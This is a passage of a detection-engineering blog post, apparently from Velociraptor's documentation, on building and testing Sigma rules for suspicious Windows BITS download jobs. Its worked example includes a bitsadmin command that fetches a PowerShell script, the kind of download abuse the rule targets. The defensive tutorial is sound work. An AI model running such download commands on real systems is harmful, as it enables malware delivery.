class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma//blog/2025/2025-02-02-sigma/windows_base_.svg&#34; alt=&#34;Windows Base Sigma Model triages event logs &#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;793.5862068965519&#34;&#xA;         width=&#34;1083.2227488151661&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;windows_base.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Windows Base Sigma Model triages event logs &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The reference page helps us write the Sigma rules by documenting&#xA;exactly which log sources are available in this model and giving some&#xA;example events produced by these models.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; Sigma rules are generally not portable across operating environments! &#34;&gt;&lt;p&gt;Although Sigma is in theory an interchange format between different&#xA;SIEMs products, in practice it is difficult to port rules between&#xA;different evaluation engines (Or different Sigma Models):&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There is no guarantee that the rule&amp;rsquo;s &lt;code&gt;Log Source&lt;/code&gt; is actually&#xA;available in a different model.&lt;/li&gt;&#xA;&lt;li&gt;Fields may not exist in other models.&lt;/li&gt;&#xA;&lt;li&gt;There may not be field mappings for the same field in different&#xA;models, or the mappings may clash with other fields.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;To achieve portability between SIEM systems we need to develop a Sigma&#xA;Model to fully emulate another environment to be able to directly&#xA;consume the same rules.&lt;/p&gt;&#xA;&lt;p&gt;In Velociraptor we are less concerned with portability and more&#xA;concerned with having Sigma rules as a way of implementing an easy to&#xA;use and powerful detection engine. Velociraptor defines a range of&#xA;different &lt;code&gt;Sigma Models&lt;/code&gt;, some are defined with the intention to&#xA;directly consume a large set of rules from another project (For example&#xA;the&#xA;&lt;a href=&#34;https://sigma.velocidex.com/docs/models/windows_base/&#34; target=&#34;_blank&#34; &gt;Windows.Sigma.Base&lt;/a&gt;&#xA;model was written to consume Hayabusa rules for the&#xA;&lt;a href=&#34;https://sigma.velocidex.com/docs/artifacts/velociraptor_hayabusa_ruleset/&#34; target=&#34;_blank&#34; &gt;Windows.Hayabusa.Ruleset&lt;/a&gt;&#xA;artifact), while others are defined to make powerful telemetry events&#xA;available to rule writers (For example the&#xA;&lt;a href=&#34;https://sigma.velocidex.com/docs/models/windows_etw_base/&#34; target=&#34;_blank&#34; &gt;Windows.ETW.Base&lt;/a&gt;&#xA;model exposes ETW sources not usually available in centralized server&#xA;based SIEM architectures).&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;developing-custom-detection-rules&#34;&gt;Developing custom detection rules.&lt;/h2&gt;&#xA;&lt;p&gt;One of the challenges with rapidly developing detection rules is&#xA;iterating through the process of generating events, inspecting the&#xA;produced events, updating the rules and applying the rule on the event&#xA;sources.&lt;/p&gt;&#xA;&lt;p&gt;A simple approach to developing detection rules is to:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find an exploit or specific tool to emulate the specific attack on&#xA;the target platform. For example, one may use&#xA;&lt;a href=&#34;https://www.metasploit.com/&#34; target=&#34;_blank&#34; &gt;Metasploit&lt;/a&gt; or &lt;a href=&#34;https://github.com/redcanaryco/atomic-red-team&#34; target=&#34;_blank&#34; &gt;Atomic Red&#xA;Team&lt;/a&gt; to emulate a&#xA;particular attack on the target platform (e.g. Exchange Server).&lt;/li&gt;&#xA;&lt;li&gt;While the attack is performed, ensure sensors are enabled and&#xA;forwading events to the target SIEM.&lt;/li&gt;&#xA;&lt;li&gt;Implement the detection rules on the SIEM&lt;/li&gt;&#xA;&lt;li&gt;Examine if the rule triggers. If the rule does not trigger go to&#xA;step 1 and try to figure out why it does not trigger.&lt;/li&gt;&#xA;&lt;li&gt;Finally try to figure out how to tweak the original exploit to&#xA;ensure the rule may trigger in slight variations of the attack&#xA;(e.g. slightly different command line). This step is essential to&#xA;make the detection robust.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The more complicated the detection pipeline (with event forwarders,&#xA;data lakes, matching engines etc) the more complicated it is to&#xA;iterate through the above steps.&lt;/p&gt;&#xA;&lt;p&gt;Testing the rules in future also becomes impractical as it requires&#xA;setting up a large infrastructure footprint to be able to successful&#xA;run the exploit. If the original vulnerability is patched, running the&#xA;exploit may not work and an older unpatched system is required.&lt;/p&gt;&#xA;&lt;p&gt;To develop detection rules effectively we must separate the event&#xA;generation step and the event detection step. To generate the raw&#xA;events, we must run the exploit on a real system. However to test&#xA;detection rules, we can simply replay the events into the detection&#xA;engine, testing detection rules in isolation.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma//blog/2025/2025-02-02-sigma/detection_workflow_.svg&#34; alt=&#34;Detection rule development workflow&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;479.5&#34;&#xA;         width=&#34;1338&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;detection_workflow.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Detection rule development workflow&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;Sigma Model&lt;/code&gt; already supports this kind of workflow. The model&#xA;defines a set of &lt;code&gt;Log Sources&lt;/code&gt; which emit raw events. We can then&#xA;replay these events back into the detection engine to rapidly develop&#xA;the &lt;code&gt;Sigma Rule&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The workflow is illustrated above:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;Recording Mode&lt;/code&gt;: We start off by recording the relevant events on&#xA;the detected platform. We use the relevant Sigma Model&amp;rsquo;s Log Source&#xA;to record relevant events into JSON files. This step must&#xA;necessarily be run on the target platform as it records real life&#xA;behavior.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;Replay/Test Mode&lt;/code&gt;: In this mode we can replay the JSON files&#xA;collected previously back into the same &lt;code&gt;Sigma Engine&lt;/code&gt;. Except that&#xA;this time, instead of using the real log source, we substitute a&#xA;mock log source which replays events back from JSON files. This&#xA;step can be done on any platform since the events are&#xA;isolated.&lt;/p&gt;&#xA;&lt;p&gt;In this mode we are able to quickly iterate over the same events&#xA;and even enable debugging mode which assists in figuring out why an&#xA;event would match a specific condition.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;Detection Mode&lt;/code&gt;: Once the rules are validated we can deploy them&#xA;in real life and ensure they match on the real log sources. In&#xA;production the proper log sources are used to feed live events from&#xA;the system to the &lt;code&gt;Sigma Engine&lt;/code&gt; with the validated &lt;code&gt;Sigma Rules&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;example-workflow-detecting-bits-client-activity&#34;&gt;Example Workflow: Detecting BITS Client Activity&lt;/h3&gt;&#xA;&lt;p&gt;To illustrate the process I will develop a Sigma rule to detect suspicious BITS client activity. BITS is a windows service which is often misused to download malware onto the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;The service may be abused using the &lt;code&gt;bitsadmin&lt;/code&gt; command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bitsadmin.exe /transfer /download /priority foreground https://www.google.com c:\Users\Administrator\test.ps1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To start off we will use the &lt;code&gt;Windows.Sigma.Base&lt;/code&gt; model, which&#xA;inspects the windows event log files. We have already seen the BITS&#xA;client log source in this model previously and know that the events&#xA;are read from&#xA;&lt;code&gt;C:\Windows\System32\WinEvt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s take a look at the raw events in this file using the event&#xA;viewer.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma//blog/2025/2025-02-02-sigma/bits_event_log_.svg&#34; alt=&#34;Viewing the BITS Event Logs&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;612.5124716553288&#34;&#xA;         width=&#34;924.1453287197232&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;bits_event_log.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Viewing the BITS Event Logs&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The relevant event I am interested in is event ID 59 - which tells me&#xA;the URL where the file was downloaded from. Since the service is used&#xA;legitimately by the system there are many URLs mentioned which are not&#xA;suspicious. My rule will need to exclude those URLs to only&#xA;concentrate on the suspicious uses.&lt;/p&gt;&#xA;&lt;h3 id=&#34;step-1-capture-test-events&#34;&gt;Step 1: Capture Test Events&lt;/h3&gt;&#xA;&lt;p&gt;My first step is to collect relevant events from the relevant &lt;code&gt;Sigma Model&lt;/code&gt;. I do this by collecting the&#xA;&lt;code&gt;Windows.Sigma.Base.CaptureTestSet&lt;/code&gt; artifact. This companion artifact&#xA;to the &lt;code&gt;Windows.Sigma.Base&lt;/code&gt; artifact uses the same log sources but&#xA;simply records the raw events.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma//blog/2025/2025-02-02-sigma/capturing_events_.svg&#34; alt=&#34;Capturing Raw Events from the test system&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;771.2285276073619&#34;&#xA;         width=&#34;1054.4266103484688&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;capturing_events.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Capturing Raw Events from the test system&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In this case I will only collect events from the &lt;code&gt;bits_client&lt;/code&gt; log&#xA;source and only those events that mention URLs. I can time box the&#xA;events to only collect recent events if I want but in this case I will&#xA;collect from all available time to get a good selection of URLs used.&lt;/p&gt;&#xA;&lt;p&gt;Once the collection is done (I can collect this remotely from the&#xA;server), I have the raw events available. I can download the raw JSON&#xA;from the GUI table view, after possibly filtering them further using&#xA;the GUI.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma//blog/2025/2025-02-02-sigma/raw_events_.svg&#34; alt=&#34;The Raw Events from the Log Source&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;697&#34;&#xA;         width=&#34;1439.0393013100436&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;raw_events.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The Raw Events from the Log Source&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I can pre-filter these events in the notebook to see what is&#xA;representative of normal behavior and what is unusual. In this case, I&#xA;identify that event ID 59 is associates with transfer job started for&#xA;example &lt;code&gt;BITS started the Chrome Component Updater transfer job that is associated with the XXX&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I will extract the domain name part from the URL and group by it so I&#xA;can see all unique URLs collected.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma//blog/2025/2025-02-02-sigma/narrowing_events_.svg&#34; alt=&#34;Narrowing down events of interest using stacking and filtering&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;434&#34;&#xA;         width=&#34;1460&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;narrowing_events.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Narrowing down events of interest using stacking and filtering&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In practice I can collect a more representative set of these events by&#xA;collecting the artifact using a hunt (which can include the entire&#xA;deployment). This will give me a more representative set of download&#xA;URLs found in the environment so I can reduce false positives.&lt;/p&gt;&#xA;&lt;h3 id=&#34;step-2-developing-rules-with-sigma-studio&#34;&gt;Step 2: Developing rules with Sigma Studio&lt;/h3&gt;&#xA;&lt;p&gt;To effectively develop rules, one must be able to iterate quickly by&#xA;applying the rules against the collected events. To assist with this&#xA;process, I will use the &lt;code&gt;Sigma Studio&lt;/code&gt; notebook template.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma//blog/2025/2025-02-02-sigma/sigma_studio_1_.svg&#34; alt=&#34;Creating a new Sigma Studio Notebook&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;737.1818903891976&#34;&#xA;         width=&#34;1001.4478260869564&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;sigma_studio_1.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Creating a new Sigma Studio Notebook&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor notebooks are interactive documents allowing users to&#xA;dissect and analyse data using VQL. The &lt;code&gt;Sigma Studio&lt;/code&gt; template is&#xA;specifically designed to make manipulation of Sigma Rules simpler.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma//blog/2025/2025-02-02-sigma/sigma_studio_2_.svg&#34; alt=&#34;The Sigma Studio Notebook assists in writing rules&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;783.3632781717887&#34;&#xA;         width=&#34;1162.3443396226412&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;sigma_studio_2.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The Sigma Studio Notebook assists in writing rules&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The notebook has a number of important sections:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Sigma Editor button launches a dedicated editor to edit Sigma rules.&lt;/li&gt;&#xA;&lt;li&gt;By clicking the &lt;code&gt;Notebook Uploads&lt;/code&gt; button you can upload the test&#xA;events described in Step 1 above.&lt;/li&gt;&#xA;&lt;li&gt;Once these raw events are uploaded to the cell, the bottom table&#xA;will render the raw events, while the top table renders only those&#xA;events matching the rules.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I will start off by uploading the test events I collected previously.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma//blog/2025/2025-02-02-sigma/sigma_studio_3_.svg&#34; alt=&#34;Uploading test events&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;488&#34;&#xA;         width=&#34;1207.3507014028055&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;sigma_studio_3.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Uploading test events&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;editing-the-sigma-rules&#34;&gt;Editing the Sigma Rules&lt;/h4&gt;&#xA;&lt;p&gt;I will launch the &lt;code&gt;Sigma Editor&lt;/code&gt; by clicking on the button.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma//blog/2025/2025-02-02-sigma/sigma_studio_4_.svg&#34; alt=&#34;Writing the Sigma rule&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;763.1516155758078&#34;&#xA;         width=&#34;1124.6600985221676&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;sigma_studio_4.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Writing the Sigma rule&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Within the editor I select the &lt;code&gt;Windows.Sigma.Base&lt;/code&gt; model. Next I&#xA;select the &lt;code&gt;bits-client&lt;/code&gt; log source from the pull down. The editor&#xA;will show me available log sources within this model.&lt;/p&gt;&#xA;&lt;p&gt;The editor displays so documentation about the log source and presents&#xA;a syntax highlighted Sigma text editor populated with a template&#xA;rule. For those not familiar with Sigma, comments help to guide the&#xA;user into filling in the desired fields.&lt;/p&gt;&#xA;&lt;p&gt;For this detection, I will search for event ID 59, which reveal the&#xA;URL associated with the bits job. However, I will suppress jobs from&#xA;URLs accessing specific domains.&lt;/p&gt;&#xA;&lt;p&gt;Pressing &lt;code&gt;?&lt;/code&gt; will suggest any of the field mappings defined within&#xA;the model.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma//blog/2025/2025-02-02-sigma/sigma_studio_5_.svg&#34; alt=&#34;Auto-Completion of Field Mappings&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;378&#34;&#xA;         width=&#34;1460&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;sigma_studio_5.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Auto-Completion of Field Mappings&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In this case I know that &lt;code&gt;EventID&lt;/code&gt; is a field mapping to extract the&#xA;log message&amp;rsquo;s Event ID, and the &lt;code&gt;Url&lt;/code&gt; field mapping will extract the&#xA;&lt;code&gt;url&lt;/code&gt; field from the &lt;code&gt;EventData&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The rule I came up with is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;title: Suspicious BITs Jobs&#xA;logsource:&#xA; product: windows&#xA; service: bits-client&#xA;&#xA;detection:&#xA; select_event:&#xA;   EventID: 59&#xA;&#xA; allowed_urls:&#xA;   Url|re:&#xA;    - edgedl.me.gvt1.com&#xA;&#xA; condition: select_event and not allowed_urls&#xA;&#xA;details: &amp;quot;Bits Job %JobTitle% accessed URL %Url%&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The rule consumes events from the &lt;code&gt;windows/bits-client&lt;/code&gt; log source&#xA;(which in this model ends up reading the events from the&#xA;&lt;code&gt;C:\Windows\System32\WinEvt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx&lt;/code&gt;&#xA;log file.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;There are two selections:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If the event id equal to 59&lt;/li&gt;&#xA;&lt;li&gt;Does the URL match one of the specified regular expressions&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Finally the rule will match only if the first selection is true and&#xA;the second selection is false (i.e. only event 59 which do not match&#xA;one of the allowed urls).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;code&gt;details&lt;/code&gt; field specified a message that will be emitted when&#xA;the rule matches. This allows us to specify a simple human readable&#xA;alert to explain what the rule has detected. You can add field&#xA;interpolations enclosed in &lt;code&gt;%&lt;/code&gt; to the message.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;When I save the rule, the notebook will be refreshed and recalculated&#xA;using the new rule applied on the sample events I uploaded previously.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma//blog/2025/2025-02-02-sigma/sigma_studio_6_.svg&#34; alt=&#34;Applying the rule to the test set&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;777&#34;&#xA;         width=&#34;1595.2601156069363&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;sigma_studio_6.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Applying the rule to the test set&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;You can see a detailed description of why the rule matched. For rules&#xA;with many selections and complex condition clauses this allows us to&#xA;inspect each condition in isolation.&lt;/p&gt;&#xA;&lt;h4 id=&#34;unavailable-field-mappings&#34;&gt;Unavailable Field Mappings&lt;/h4&gt;&#xA;&lt;p&gt;Sigma strictly requires field mappings to already exist in the model&#xA;so they can be referenced. This makes it impossible to access fields&#xA;in the event which have not previously been defined within the model.&lt;/p&gt;&#xA;&lt;p&gt;To solve this problem, Velociraptor&amp;rsquo;s Sigma implementation allows, as&#xA;a special case, to use field names with &lt;code&gt;.&lt;/code&gt; separating fields within&#xA;the event. The above rule can be written without any field mappings&#xA;as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;title: Suspicious BITs Jobs&#xA;logsource:&#xA; product: windows&#xA; service: bits-client&#xA;&#xA;detection:&#xA; select_event:&#xA;   System.EventID.Value: 59&#xA;&#xA; allowed_urls:&#xA;   EventData.url|re:&#xA;    - edgedl.me.gvt1.com&#xA;&#xA; condition: select_event and not allowed_urls&#xA;&#xA;details: &amp;quot;Bits Job %EventData.name% accessed URL %EventData.url%&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It is better to use model field mappings if they are already defined&#xA;in the model because this makes its easier to port the rule to other&#xA;models, however if one is not available you can fall back to this&#xA;method of referencing fields directly.&lt;/p&gt;&#xA;&lt;h3 id=&#34;step-3-test-the-rule-on-the-fleet&#34;&gt;Step 3: Test the rule on the fleet.&lt;/h3&gt;&#xA;&lt;p&gt;Now that we have a working Sigma rule we can apply this rule to the&#xA;wider fleet to assess the rule&amp;rsquo;s false positive rate. As we apply the&#xA;rule more widely we are likely to discover more legitimate uses of the&#xA;BITS service and so we might need to add more URLs to the allow list.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma//blog/2025/2025-02-02-sigma/testing_sigma_rules_.svg&#34; alt=&#34;Creating a hunt to test the rule widely&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;825.2395833333335&#34;&#xA;         width=&#34;1512.3359073359075&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;testing_sigma_rules.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Creating a hunt to test the rule widely&#xA;  